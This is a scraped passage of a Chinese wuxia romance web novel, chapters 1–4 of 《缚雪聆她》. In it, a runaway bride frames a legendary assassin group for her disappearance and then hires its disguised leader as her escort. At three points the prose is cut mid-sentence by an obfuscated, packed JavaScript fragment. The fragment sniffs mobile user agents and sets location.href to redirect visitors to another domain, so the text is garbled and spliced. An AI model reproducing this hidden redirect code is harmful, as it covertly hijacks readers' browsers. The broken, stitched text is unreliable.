《缚雪聆她》 1. 缚雪 “大小姐失踪了——!” 骤然而起的高呼声撞碎了寂静的夜幕,又一圈一圈穿过廊檐巷角,击鼓传声般响彻整座朝都明府。 明灯自院中盏盏掌起,剥落了茫茫一片黑暗。 堆满新婚聘礼的抱霜院内,红绸喜烛散落一地。奴仆各个面色惨白,紧盯着大敞的屋门。 帘帐翻飞,深不见底。 雾蒙蒙的雨夜,将之前为明日新婚而做的装点尽数藏匿。仿佛有什么在暗处窥伺着,叫人胆寒。 明宗源赶来时,看见的就是这幅场景。 屋内地板上鲜红的一片血迹,自大雨冲刷变成数股血水,潺潺流经众人脚畔。 明宗源抓住一个跌跌撞撞的仆从,问:“到底是怎么回事?!” 仆从弱声道:“我们来给小姐送新裁的喜服时,小姐就已经失踪了……我们是真的不知道啊!” “……” “失踪?” 沉默片刻,明宗源嘴角扯起一抹冷笑,“我看她又是在闹脾气罢了。” 他摆摆手,随意嘱咐了句:“你们继续找,要是敢耽误了明日新婚,惹得那位与太子殿下不痛快,便都提头来见。” 仆从们面面相觑,纷纷缄默不言。 他抬脚要走,忽然冲出一个婢子,跪地拦住他,嘶声:“老爷!” 明宗源低头看去。 那个婢子唤作银烛,也是他认得的为数不多的,他的女儿的贴身侍婢。 “小姐虽然对这桩婚事颇有微词,也因此事与老爷争吵不休,但恳请老爷明察——” 银烛狠狠磕了几个响头,“小姐绝不可能如此忤逆老爷!” “请老爷明察啊!” 轰隆。 雷声大作,电光照亮了屋内一隅。 借着一刹那的光亮,明宗源似是瞥见了什么。他踢开银烛,慢慢走进漆黑的屋子。 油灯铺开一层昏暗的光,依次扫过梳妆台上打翻的妆奁,凌乱的床帐。 伴随而来的,是愈来愈浓重的血腥气。 屋内确实没有半点活人的气息。 绕着屋内走了一圈后,明宗源遣人拿了数盏油灯来,照亮了屋内全貌。 同时,所有人都尖叫着看向地上斑布的血痕。 那分明是一个完整六叶莲的图案,血迹不规则地交错着,像长出了无数獠牙,狰狞可怖。 明宗源站在莲瓣中央,瞬间白了脸。 “这难道……”银烛颤颤巍巍出声道,“难道是他们……” 明宗源强作冷静:“谁?” “奴婢曾听过一个传说:夜半嘶鸣声,血溅汴京城。六瓣异形莲,唯有……八方幕!” 听罢,众人霎时色变,“八方幕?” “那个天下第一的杀手组织?!” 银烛颔首:“六瓣异形莲,就是他们的徽印——缚雪印!” “那这么说,掳走小姐的就是八方幕?!” “可能不止,听说缚雪印唯有八方幕主公才能用,或许……” “那个名字……那个名字可不能说出口!” “……” 明宗源听着他们的话,在心里也斟酌了番。 若这六瓣莲当真是八方幕留下的印记,那女儿失踪了这些个时辰,恐怕早已尸骨无存。 婚期近在眼前,又如何能瞒天过海。 他不由得攥紧了双拳。 在他默不作声时,银烛再次冲上前来:“小姐危在旦夕,求老爷看在多年情分上,救小姐这一回!” “求老爷救救小姐!” 门外大雨倾盆,雷声轰鸣。 在场之人都懂得这番长久的沉默意味着什么,他们也并不觉得很意外。 他们伺候的小姐从小就被扔在最为偏僻的抱霜院,这位名义上的父亲,只有在皇室指定小姐为太子妃这段时日,才大发慈悲来看了小姐几回。 来的时候也不外乎两件事。 一是训斥小姐言行无状,二是嘱咐小姐必要为明氏美言。 至于小姐是否情愿,明宗源不会过问半句。 他在乎的,只有唾手可得的太子妃之位,与明氏飞黄腾达的绝佳契机。 思及此处,银烛将头埋得更低,颤颤开口:“陛下……陛下万一因此事迁怒老爷,未免得不偿失,还请老爷以大局为重,找回小姐才能……” 后半句话被磅礴的雨声所吞没。 但意思已经不言而喻。 该说的话都已说尽,只等明宗源做一个决定。 终于,明宗源一挥衣袖,厉声道:“连夜派人入京送信!” “朝都明氏嫡女、准太子妃明越为八方幕所掳,生死不知,请陛下惩奸除恶,为民做主!” “以及,务必通缉恶徒八方幕之首……” 他怒目圆瞪,一字一句道: “徐、吟、寒。” * “……事情大概就是这样了。” 朝都临安县,城门前的营地外,几个将士凑在一起窃窃私语。 中间说罢原委的小将士继续道:“于是这半个月来,朝廷不仅清剿了八方幕的老巢黄耆古寨,所有城镇关卡还全面戒严,宁可错杀一千也不放过一个,是当真与八方幕翻了脸,从前的一纸议和书早就被撕得粉碎了。” 一众将士听得,顿时唏嘘不已。 另一人道:“这八方幕果真不走寻常路,就为了一个太子妃,不惜违背与朝廷的盟约,不值当啊。” “谁说他们只是为了一个太子妃?” 小将士压低声音,凑近道,“他们此番挑衅,真正要动的,定是龙椅上那位啊……” “什么!?” 看着失声惊呼的众人,小将士忙在唇边竖起食指:“小声点!天晓得八方幕如何手眼通天,若是被听去了,他们一不高兴,咱们都得交代在这儿!” 众人齐齐点头,一副视死如归的模样。 小将士飞快扫了眼周围,又兴冲冲起来:“八方幕内尽是数一数二的高手,你们可能知道的不多,但一定听说过八方幕的主公,那位曾与天子较量高低、天下第一的传奇杀手徐……” “哎,那边的!” 话说到一半,被远处一道声音打断。 说话的是刚回营的将士:“到你们值守了,百姓都等着出城呢,快点过去!” 几人只好应是,起身往城门去。 他们都是朝都城里镇守城界的将士,受命管控百姓出入,严查可疑之人。 小将士替了查人的位置,拿过花名薄。 “姓名。” 他垂着脑袋提起笔,静静等着对面人的回应。 “李圆圆。” 回答他的是个清脆的女声,他好奇抬了抬眼,只看到姑娘露在外面的两只圆溜溜的眼睛。 倒是和名字挺相称的。 小将士记下名字,继续问:“出城去做什么?” “我阿娘病了,听说城外山崖上有些草药可以治阿娘的病,我想去采。” 说着,姑娘揉红了眼睛,“您知道的,我们这些穷苦百姓买不起郎中开的药,就只能……” “好了好了,别哭了。” 小将士最看不得姑娘哭,叹了口气道,“最好赶入夜前回来。” “谢谢大人!” 姑娘欢快地背起地上的竹篓,眉眼弯弯道谢,亮晶晶的像夜晚的星星。 小将士愣了愣,在询问下一个人时一直盯着那个姑娘的身影。 犹豫许久,还是在姑娘迈出城门前喊住她。 避开姑娘疑惑的目光,他递出去一个小荷包,“现下恶贼横行,城外危险,这些银子你拿去买药吧,就别冒险了。” 姑娘连忙摆手推拒:“不不不……” 但是那个小荷包还是被塞进了她手中,等她再回过神来,小将士早就跑没影了。 …… 城门恢复了一贯的秩序。 在守城将士的阻拦下,明越到底没能顺利出城,只能遥遥望一眼城外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040515|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的风景,依依不舍背着小竹篓回到城中某处窄巷里。 “失败了?” 明越扯下裹着半张脸的兜帽,看向那个跟她说话的老伯。 “我这次真的差一点就成功了,”她紧紧攥着那个小荷包,“就那么一点点。” 席地而坐的老伯笑了几声,道:“我早就跟你这小女娃说过了,这段时日要想出城简直难如登天。” 明越看着手里的小荷包,皱起的一张小脸忽然又舒展开来。 她拎着小荷包对老伯笑道:“起码我也不是毫无战利品。” 绣着金丝线的小荷包晃来晃去,老伯眼睛一亮,立刻夺过去,在手里掂了掂:“嗯……不多啊,也就二两银子。” 明越伸手就要抢过来:“二两银子也是……” “二两银子,买一份出城的机会。” 老伯打断她,笑眯眯继续,“老夫能给你指条明路。” 明越悬在空中的手顿了顿。 “什么明路?” 她犹疑道。 老伯只当她是答应了,藏宝贝般收起小荷包,慢吞吞闭上眼睛,两条枯瘦的胳膊在空中画着圈。 …… 等他画到第十圈,明越头也不回地转身离开。 “贵月楼!” 明越停下脚步。 “贵月楼名为酒楼,实为江湖悬赏之地,”老伯摇头晃脑道,“只要你有银钱,有的是高手能带你出城。” 明越转过头来,看了看背上盖着层布的小竹篓。 “可惜了,若是身无分文……” 老伯说着,从怀中重新掏出那个小荷包,“老夫就暂且借你二两银子一用吧。” 明越愣怔片刻,摇摇头,扬起一个明媚的笑:“我可不是身无分文。” “我身上最多的,就是钱。” * 朝都的贵月楼颇具盛名,对明越来说不难找。 之前明越也想过,为什么贵月楼作为酒楼,却要开在偏僻的郊外,老伯刚好解答了她的疑问。 原是江湖悬赏之地。 明越站在贵月楼烫金的牌匾前,深吸了一口气,大步走了进去。 一楼都是正常吃酒的客人,挤满了小小的大堂。明越好不容易找到一个空闲的店小二,正盘算着如何问出口,听见旁边一桌客人在说话。 “皇室发布的悬赏令啊……啧啧,干好这一笔几辈子都不愁吃穿!” 明越一惊,下意识低下头,将面容藏进阴翳之中。 心跳如擂鼓。 这是她逃婚的第十五日。 其实她早有准备得以逃出朝都,可大梁皇室派出的禁卫已经在朝都附近县属布下天罗地网,生生将她困在了临安。 她不敢轻举妄动,只得缓了一日又一日。 后来偶然遇到了那个奇怪的老伯,在他的怂恿下试了好多种办法,无一例外地失败了。 明越抿了抿唇,逐渐回过神来,发现店小二已经耐心等了她很久。 客人们都能大剌剌议论,想必悬赏不是什么秘密,明越大大方方说明来意,店小二给了她一张白纸。 将悬赏的内容写在上面,待一炷香后悬赏会开始,自会有主动接下的人来。 明越找了张空桌子坐下,还未动笔,人群中响起一阵骚动。 她抬眼。 刀光剑影从窗前闪过,迅猛一股冷风席卷而来。 有人道:“贵月楼的天字号高手回来了?” 明越顺着他们的视线望过去。 不久前还空荡荡的二楼,不知何时多了个玄衣男子。 男子背着身,只能模模糊糊看到他颀长的身形,挺拔如竹。他手里攥着一个被血染得红透的布包,还在一滴一滴坠着血珠。 血珠随着他的步伐汇流成痕。 身影消失前,男子微微侧头。 他轻掀起眼,安静地睨着众人,目光却如数九寒冬。 脸上划出的一道血痕,像一把猩红锋利的短刃。 2. 缚雪 贵月楼三月一度的悬赏会,就开在二楼一层秘密的天字号隔间中。 而能进天字号隔间的,都是江湖中首屈一指的高手,专接巨额悬赏,且从不失手。 不同于外面大堂的明亮质朴,隔间内装潢奢靡,四面无窗,仅靠几盏油灯撑起一室光影。 昏暗不清的宴席间,零零散散坐着七八位戴着银质面具的黑衣人。他们手边都有一手掌大小的长菱形短剑,横插在茶壶边的黄梨木台上。 桌案上最后一柱香即将燃尽。 天字号的门被敲开一声巨大的响。 来人一身紧袖玄衣,身量很高,腰身紧窄,饶是衣裳再朴实无华,在他身上莫名显得干练矜贵。 如其他人一般,他也戴着面具,眉眼被笼罩在模糊的灯影下,进来时只轻轻扫了眼众人,径直往最中间的席位走去。 刚坐下,就有人走到他面前,居高临下道:“小子。” 刀疤男一脚踩上他的桌案,长刀抵住他的脖颈,恶狠狠道:“五日前在黄耆山,抢我万金悬赏的事,你有什么要解释的吗?” 黄耆山,抢,万金悬赏。 每个字眼和这个看着不过二十出头的男子联系起来,都那么令人难以置信。 敢在被朝廷重兵包围的黄耆山抢走刀疤男的巨额悬赏,要么是胆识过人的顶尖高手,要么就是不知天高地厚的无脑之辈。 众人笃定男子是其二。 然男子只是看了眼锋利的长刀,慢慢站起身来,俯盯着他,道:“要什么解释?” 他这无所谓的态度,更让刀疤男怒火中烧。 万金悬赏可遇不可求,他好不容易在三月前的悬赏会上抢到,在黄耆山执令时却被这个小子夺去先机。 谁能拿到悬赏主的指定的信物,谁才能得赏。 他白白丢了本该在今日拿来交差的人头,将万两赏金拱手让人。 他握紧手中刀,正准备好好发泄一番,一抬头对上男子的目光。 冷冽,透着几分轻视。 像是在随意又漠然地衡量人命。 不知为何,竟也让他愣了一瞬。 与此同时,香尽铃响,悬赏会正式开始。 刀疤男只好作罢,骂骂咧咧走开。 有人看不惯这种嚣张的做派,冷笑道:“这么厉害,怎么不把皇室的悬赏令接了,去抓八方幕的主公啊!” “我看他就是个纸老虎!” “……” 而男子只是坐回位置,并未理会这些吵闹。 方才冷然旁观的上首掌柜站起身来,朝他们拱手作揖:“多谢各位千里迢迢来捧卢某的场,这次的悬赏会,卢某保证,绝不会让各位空手而归。” 说罢,他从袖间拿出一沓玉笺,一一挂在身后的木漆墙上。 掌柜笑着解释。 “玉笺的位置代表悬赏金额,越靠前者越高。各位可自行商议,一人一玉笺,若互不肯让,” 他指了指他们身前的长菱形短刃,继续道,“贵月楼的规矩,一剑定胜负。” 木漆墙中央,是一盏凤凰攀珠玄鸟灯。 谁能一剑刺入上首那盏玄鸟灯的灯芯,谁就能拿走最高金额的玉笺。 但灯芯藏在在凤凰骨爪攀着的一颗玉珠之中,数年来都没人能触碰半分,最多是分个远近高低罢了。 众人谈论着玉笺上的悬赏内容,店小二却从后门溜进来,小声对掌柜道:“掌柜的,有新的悬赏令送来了!” 掌柜看见他手中尚未誊上玉笺的令纸,低斥:“我说过了,悬赏会开始之后就不能进新的悬赏令了!” “是是是,但是这个务必要您过目。” 店小二小心翼翼展开令纸,掌柜扫过去,顿时瞪大了眼。 …… 将这十余份玉笺都看过一遍后,徐吟寒百无聊赖地靠坐在椅背上,静静看其余为争抢这些悬赏令闹得脸红脖子粗的人。 而上首掌柜忽然眉开眼笑,出声打断他们:“诸位,恕卢某插一句嘴。” 他让出身后悬挂玉笺的墙面,流光溢彩的玄鸟灯之上,挂出一张黑字白纸。 “这,便是本次悬赏会的头令,”他颇有些得意道,“万金悬赏。” 字音落地,原本正在争吵的人纷纷噤声。 徐吟寒闻言抬眼。那张纸上的字迹歪歪扭扭,简单朴素,唯有最下方给出的金额豪横非常。 之前耀武扬威的刀疤男立刻道:“上回我的万金悬赏让那个小子抢了,总该补给我一份吧?” 说着,他腰间刃锋一闪,像是在威胁与警告。 在场的人明显心有不服,却无人敢出言顶撞。 刀疤男得意洋洋要上前去揭下悬赏令。 忽而,颈边传来一阵钻心刺骨的痛。 他停住脚步,循着痛感探过去,却摸到一手的血。 这时,此起彼伏的惊呼声窜起。 “他……他竟一剑射中了玄鸟灯的灯芯!” 包裹着灯芯的透明玉珠被一支短剑刺入,顷刻间四分五裂。剑首正中灯芯,挑灭跳动的火焰。 刀疤男尚未反应过来,肩膀一沉,一男子从他头顶跃过,揭下最高处的万金悬赏。 屋内灯火忽明忽暗,男子的身影没入暗处,只余一个凌厉的轮廓。 不顾刀疤男如何怒不可遏,徐吟寒收回长菱短剑,挂在腰间的蹀躞带上,又慢条斯理看了眼悬赏令的内容。 “你……?!” 刀疤男冲上前就要抢,被他一个侧身轻易躲过,身体空悬之际又被他拎着后颈狠压在墙上。 刀疤男动弹不得,恐惧伴随着窒息感的出现而加剧。他喘不上气,眼珠几乎要瞪出来。 而徐吟寒盯着他憋得红透的脸,良久,才满意地笑了笑。 “跟你解释一下。” 徐吟寒晃晃手中的令纸,从容不迫继续,“你的命,和这个。” “都归我了。” * 明越将写好的悬赏令给了店小二后,忽然就被请进了一个单独的厢房,茶酒饭食齐备,还有数十个仆从伺候着,属实受宠若惊。 但她心思全然不在这上头。 她的悬赏令会有人接吗?会是何人接?会不会出什么岔子? 她越想越心烦意乱,抿了口刚沏好的热茶,店小二在此时敲门而入,殷勤道:“小姐,您的悬赏令已被天字号高手接下,代号十一,马上就会与您交接。” “执令期间,他将无条件服从悬赏令的内容,与您的命令。” 明越悬着的一颗心稍稍有些松懈,又装模作样捧起茶杯,慢悠悠道:“尽快吧。” “好的。” 店小二忙不迭退出去。 屋门一关,明越立刻来了精神,将桌子上没用过的糕点都收进了她的竹篓里,仔细戴好兜帽,满心都是即将出城的欢喜。 然还没等到人来,她在欣赏楼下的景色时,发现城里巡逻的一队将士正朝贵月楼而来。 很快,大堂就传来了将士下令搜人的声音。 这是二楼,明越已经没有了逃出贵月楼的机会。而且这间厢房也并没有什么能藏人的地方。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040516|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她焦急的绕着厢房打转,门口传来一道清晰的敲门声。 她整个身子都凝滞在原地,声音有些发颤:“是谁?” 说罢,明越抱着竹篓闭紧了眼。 她东躲西藏的这些日子,已经摸清了朝廷重点搜查的地方,因着这里的把守不严,她才敢逗留多日,想一个出城的法子。 但毕竟还在朝都的地界,城中巡逻的人保不齐就见过她的真容,一被认出,那她就真的前功尽弃了。 明越的心都要跳出嗓子眼时,听见一道清越的男声:“十一。” 十一? 她迷茫地眨了眨眼睛,想起了店小二的话。 那就是接她悬赏令的高手? 听声音,应该是个二十岁左右的少年。 紧接着,那人又敲了敲门:“怎么了?” 搜查声愈来愈近,明越咬牙放下竹篓,开了条门缝,入目便是少年垂落身侧的手。 指节白皙修长,隐约现出青色的经络,虎口处有常年握剑而生出的薄茧。 来不及多看一眼,她拉住少年的手将他拽进屋里,在将士即将上楼前关上门。 “砰”的一声。 明越下意识在唇边竖起食指,仰面看见那半副银质面具稍有愣怔,但她很快反应过来,用气音说出事先准备好的措辞。 “一个考验。” “带我从贵月楼出去,不被任何人发现。” …… 这是明越想到的,唯一能不引起这人的怀疑,还能安全离开贵月楼的办法。 因为太过紧张,她紧握着少年的手,在少年低眼打量她时,有点心虚的躲闪视线。 “考验?” 徐吟寒看着这个能付得起万金悬赏,却衣衫简陋的姑娘,疑惑的重复。 明越点点头,鼓起勇气看过去。 她才后知后觉,她见过这个人,认识少年脸颊上的一道血痕。 他的手也没什么温度,和他用来看她的目光一样,冰冷而漠然。 门外的动静由远及近,明越再也等不下去,补充道:“不然我怎么知道你实力如何?” 那人还是不动声色。 明越转而道:“而且,贵月楼的规矩,不论我说什么,你须得听我的。” 不知是被什么说动,少年终于松了口:“行。” 他抬起被她攥着的手,道:“你先松开。” 明越最后才注意到两人紧握在一起的手。 她手忙脚乱向后退去,偏开头:“那你准备怎么做?” “翻窗。” 徐吟寒看向半开的直棂窗,径直走过去。 窗外是连绵的屋脊,城郊行人寥寥无几,若是躲避得当,贵月楼外的几个将士也不会看到他们。 明越小心翼翼向外望了一眼,马上被这骇人的高度吓飞了魂:“这里是不是有点……” 徐吟寒眉梢一扬:“你怕高?” 明越狠狠点头,随后期待道:“那我们换个法子?” “那就走这儿了。” “……” 算了,逃命要紧。 明越想问他该怎么带上自己,下一秒就被一股不轻的力道揽了过去。 从窗边纵跃而下的那一刻,明越靠在少年怀里,紧闭着眼,感受到风从耳边刮过,身边是探不到底的空旷。 随风而来的,是少年低缓的声音。 “不知道你的考验标准是什么,但我提醒你,”说话时,他始终目朝前方,“你的悬赏令,只会是我的。” “除了我,没人有资格。” 3. 缚雪 明越被风吹得头脑发昏,但还是将少年字里行间的意思品味透彻。 谁能想到,天底下竟然还有这样自负的人。 一柱香后,明越重新睁开眼。 临安地广人稀,最多的便是荒无人烟的郊外。 此处虽离贵月楼不远,但那些将士想必不会巡逻至此。 明越总算宽心了些,胃里忽然一阵翻江倒海。她摇摇晃晃撑住一棵树,难耐地捂着小腹。 她小时候爬树去摘果子吃,下来后头晕恶心,在床上躺了一天一夜才转好。阿爹阿娘只说她这是吃到了坏果,训斥了她一番便不再过问。 现在看来,她这恐高之症从未缓解过。 她轻喘着气,模模糊糊听到身边人的声音。 “今晚出城?” 徐吟寒抱臂倚在另一棵树上,看她这副模样,尚且平静从容。 明越却是连回话都是从牙缝里挤出来的:“先休息一会儿。” 说罢,她便靠着树坐了下来,将脑袋埋进臂弯里,昏昏沉沉睡了过去。 …… 这一觉就睡到了晚上。 明越转醒时,闻到了一股浓郁温暖的香。 她艰难睁开眼。迷蒙的夜色中,只有一烧得正旺的柴火堆那样明亮,上面有一木制的架子,挂着两条快要烤好的鱼。 想来那就是鱼肉的香味。 明越整整一天都没怎么吃东西,装满糕点的竹篓也因为太过仓促被遗忘在了贵月楼。 她忍不住咽了口唾沫,伸手要去拿,被一根树枝打了下手背。 她吃痛缩回手,抬头见徐吟寒就站在火堆旁边,似笑非笑盯着她。 明越被这一下打来了精神,委屈兮兮揉着手背道:“吃饭怎么不叫醒我?” 看不出,接她悬赏令的人不但会飞檐走壁,还烧得一手好菜,果然是她赚了。 闻言,少年瞥了她一眼:“我吃我的,与你何干?” 明越:“?” 明越:“怎么就没关系了?” 她从腰间的锦囊里拿出一金色的令牌,面朝他道:“看清楚,我们是什么关系。” 是贵月楼专给悬赏主用来辨认身份的令牌,明越的这枚,上面刻着“十一”二字。 “十一,考验还没结束,”她笑吟吟道,“你若是不愿,贵月楼里比你厉害的人多的是,我再去换一个就好咯。” “你说了不算。” 徐吟寒像是听到了什么笑话般:“比我厉害?” “你说那群人?” 明越依旧不理解他莫名其妙的自信:“比你厉害很难吗?” 那人却再不说话了。 明越当他是妥协了,继续道:“所以,在到达眉州前,你都要护我左右,听令行事。” “现在,”明越朝他伸出手,笑容明媚,“把烤熟的鱼给我吃。” …… 明越的这份悬赏令,准确来说,并不能算是悬赏。 她为了掩人耳目,不说暗中出城,而是让人一路护送她去往眉州。 从临安到眉州,按他们这脚程得行小半个月。 一般贵月楼是不接除过杀人之外的悬赏令的,奈何明越给得实在太多。 但是她到底是从哪来的钱? 徐吟寒看着那个正在吃鱼的姑娘。他就近在冰湖捕捞的鱼,没什么调味,随便烤了一下,她竟然也能吃的那么高兴。 等她吃第二条时,暗中一道冷光闪过,他便转身离开火堆。 明越连忙叫住那个即将遁入黑暗的身影:“你要去哪儿?” 这荒郊野岭的,万一有意图不轨之人靠近她,她该如何是好。 思及此处,她忐忑不安道:“说好了要保护我的。” 深夜寒雾茫茫,少年的身形影影绰绰,蹀躞带收束着他紧窄的腰身,整个人融在暗夜里,唯一的装点是那把锋利短刃上挂着的一束红色剑穗。 他侧身,银质面具泛着冷冽的光。 “刚才看见几个人朝这里来了,”他不疾不徐道,“要不要一起去会会?” 明越咽了口唾沫:“什……什么人?” “面相凶恶,光头赤膊,肩上架着数尺长刀,手里的包裹还在淌血……” “等等!” 明越竖掌打住他,咬牙道,“……你快去快回。” 徐吟寒挑眉:“你不来我怎么保护你?” “嗯……想来这里应该没有什么危险。” 明越嘟嘟囔囔了会儿,偏过头咬了口鱼肉。 徐吟寒轻哼了声,移开视线:“那你好自为之。” * 时值深秋,树林里仿佛覆上一层冰寒的霜,白雾般的月光洒下来,霜华连天。 徐吟寒停在之前冷光消失的地方,不出几息,身后一阵窸窸窣窣的声音靠近。 “主上。” 徐吟寒转过身来,睨着跪地的蒙面黑衣人,冷声:“打听到了么?” 姜演埋着头道:“回主上,还……没有头绪。” 恍然觉察到周身气压骤降,他连忙补上一句:“但是我打听到了一些关于明府小姐的事。” 听到“明府小姐”四个字,徐吟寒的脸色更为阴沉。 “明家是朝都首屈一指的富商,家中只有一子一女。三月前太子择妃,选中明家常年足不出户的大小姐明越。 听闻明小姐对这桩婚事极为不喜,明家家主却不允退婚,婚事如期。后来在婚期前一日,明家小姐失踪,就……” 他越说越小声,小心翼翼抬眼。 徐吟寒不知何时摘下了面具,面容隐在沉郁的黑暗中,看不清情绪。 他便欲哭无泪道:“黄耆古寨已被朝廷重兵包围,兄弟们躲的躲、逃的逃,不敢露面接悬赏,风餐露宿,打听明家小姐的行踪属实不易。” “还请主上再宽限些时日,我等必定擒拿明家小姐,为八方幕报仇!” 这些日子经历的种种苦难历历在目。姜演愤恨无比,不由得又想起事发当日。 他记得,那是一个风和日丽的清晨。 在黄耆古寨隐居已有整整三年,为了纪念一下,兄弟们一大早就去山上打了野味,买了许多新鲜时蔬,热热闹闹开宴庆祝。 主上也破天荒打算亲自下厨,做一次最拿手的烧鸡。 变故就是在这时发生的。 原本用来擂台比武的场地忽然被乌泱泱的兵将占据,领头骑兵高举皇室旌旗,众声齐喊:“里面的人听好了!” “明府大小姐明越乃我大梁准太子妃,如若八方幕冥顽不灵、拒不放人,黄耆古寨必将被夷为平地,诛杀恶徒,不留活口!” “八方幕主公徐吟寒,罪恶滔天,有谋逆犯上之嫌,当即逮捕!” 兄弟们站在古寨外墙上,一人一句讨论着。 “太子妃?谁啊,还有什么时候有的太子?” “找错人了吧,太子妃怎么会在咱们这儿?” “谋逆犯上?咱们主上?” “……” 姜演则是急忙把这件事告诉了还在灶房努力的徐吟寒。 然他还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040517|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟了一步。 他刚说完,寨门被千军万马冲破,将士们口中喊着“杀”就举刀群起攻来,声势浩大,势不可挡。 彼时的徐吟寒一手掐着哇哇乱叫的公鸡脖子,听见动静时正手起刀落,血溅案板。 一抬眼,寨子已经被官兵掀了个干净。 …… 这场无妄之灾里,姜演最心疼的,还是他们的主上。 说他们主上是掳走准太子妃的嫌犯,意图谋逆篡位、卷土重来,实证竟然只有一个谁都能画得出来的缚雪印。 这是多么荒唐! 这事,要么是哪个杀千刀的栽赃嫁祸,要么就是明家小姐自导自演。 他暗暗下定决心,一定要揪出幕后黑手,找到这个什么太子妃,还主上一个公道。 他拱手道:“主上放心,我等当竭尽所能,为主上分忧!” 半晌无言,一沓银票被递进了他手里。 姜演愕然:“主上,您这是……” 徐吟寒轻抬下颌,示意他站起身:“你们拿去分了。” “那您……?” 远处的火光闪闪烁烁,徐吟寒看了几眼,解释:“我够用。” 姜演立刻意识到了什么。 八方幕的兄弟们不能出面接悬赏,只有主上甚少见人,就算出面也不会被认出身份。 主上竟为了他们,接了自己一直嗤之以鼻的悬赏,卑躬屈膝为别人做事! 他抬手揉了揉眼睛,目不转睛盯着手中的银票。 “我最近会去一趟眉州,到时候在那儿会和。” 徐吟寒整理了下沾灰的衣袖,垂眼道,“抓人这事,有消息就传信,没消息就不用管了。” 姜演:“当真要放过这个明家小姐?” 他还从来没见过主上这么仁慈的时候。 很快,他就知道自己想多了。 徐吟寒重新戴上银质面具,唇角微弯,指节一下一下叩着腰间的剑柄,像是将人千刀万剐前最后的凌迟。 “我亲自抓。” * 火堆已接近熄灭,眼前的光被暗夜一层层剥夺着,寒风瑟瑟。 但明越已决定,在徐吟寒回来前,她绝不离开火堆半步。 只因徐吟寒说起的那群人,让她心头隐隐有些不安。 为了顺理成章的逃婚,且不连累家中人,她只能选择找一个替罪羊。 她翻遍奇闻逸事,终于在一本书的只言片语中,找到一个传奇到不似真实存在的杀手组织。 传闻八方幕已销声匿迹多年,曾是大梁皇室都忌惮的存在。 但有关八方幕的记载少之又少,有些甚至与鬼神扯上了关系,离谱至极。 既然如此,那八方幕是否真实存在就很难说,也许是某个说书人编出来的呢? 于是她便拟画了他们的印记,用以遮掩逃婚之实。 但奔逃在外的这些日子,她渐渐感觉到了不同寻常—— 坊间传闻八方幕已被朝廷清剿,且重兵把守各地城门……种种迹象,都印证着八方幕的确存在。 那徐吟寒看到的那群人,可能就是八方幕的人。 而且正在寻她报仇的路上。 想得出神时,几块木头忽然从天而降,被扔进了奄奄一息的火堆,火势顺势蔓延,散开,火星子噼里啪啦溅了一地,灼烫感扑面而来,吓得明越浑身一颤。 “怎么了?” 她木然看过去,少年恰蹲下身来,火光寸寸照亮他半边清隽的面庞。 “做什么亏心事了?” 4. 缚雪 灼灼复燃的火堆后,少年漆暗的双眸,被火光晕开了清晰的轮廓。 他半蹲着与她四目相接,明越几乎能感受到火焰都化不开的,他身上凛冽的气息。 她愣了愣,躲开少年的视线。 “是你吓到我了,”她抿抿唇,稍微坐远了些,伸手烤火,“下次注意点儿。” 徐吟寒本也就是随口一说,撤身靠坐在树干旁,手臂搭在屈起的单膝上,阖起了眼。 火堆驱散了深夜的寒意,明越全身都暖融融的,舒服地眯起眼。 但一想到方才的事,一张小脸又垮下来。 倘若八方幕的人就在这片树林里,而她又刚好在这儿明目张胆的烤火,那岂不是羊入虎口? 十一回来之后一言不发,难不成是途中吓跑,又怕在她这儿丢面子? 不管怎么说,正常都是要与她说明情况的吧。 明越偷偷睁开一只眼观察那人。 面色如常,衣裳上没有新染的血迹,腰间的两把短刀都似未曾出鞘。 “看什么?” 蓦然一道冷冽的声音响起,明越不自在地别开头,悻悻然道:“谁看你了。” 他额头上长第三只眼了? 明越清了清嗓子,正经道:“刚才那伙人什么情况,给我报告一下。” 徐吟寒依旧垂着眼,淡淡道:“不用在意。” 明越不乐意:“我问你什么,你只管答就好了。” 徐吟寒抬手拭去肩上的落叶,“没什么威胁。” “那你知道……他们的身份吗?” “不必知道。” 明越握紧了拳头:“你就是这样保护我的?” 徐吟寒瞥了她一眼:“不然?” “……”她这钱算是白出了。 明越忍不住要多说几句,为了打探情况,更为了自己以后的人身安全。 “这样危险的人其实就是潜在的隐患,你不打听清楚,就一直无法避免。你可能无所谓,但我的安危就很难保证。” 她飞快道,“万一遇到那种厉害的,比如八——” 她猛然停住,下意识看向对面的人,却正好触及到那人冷淡的视线。 “八什么?”少年直起身来。 明越的唇型还停留在“八”的字音上,顿了几秒,继续:“……那你都顾及不到我。” 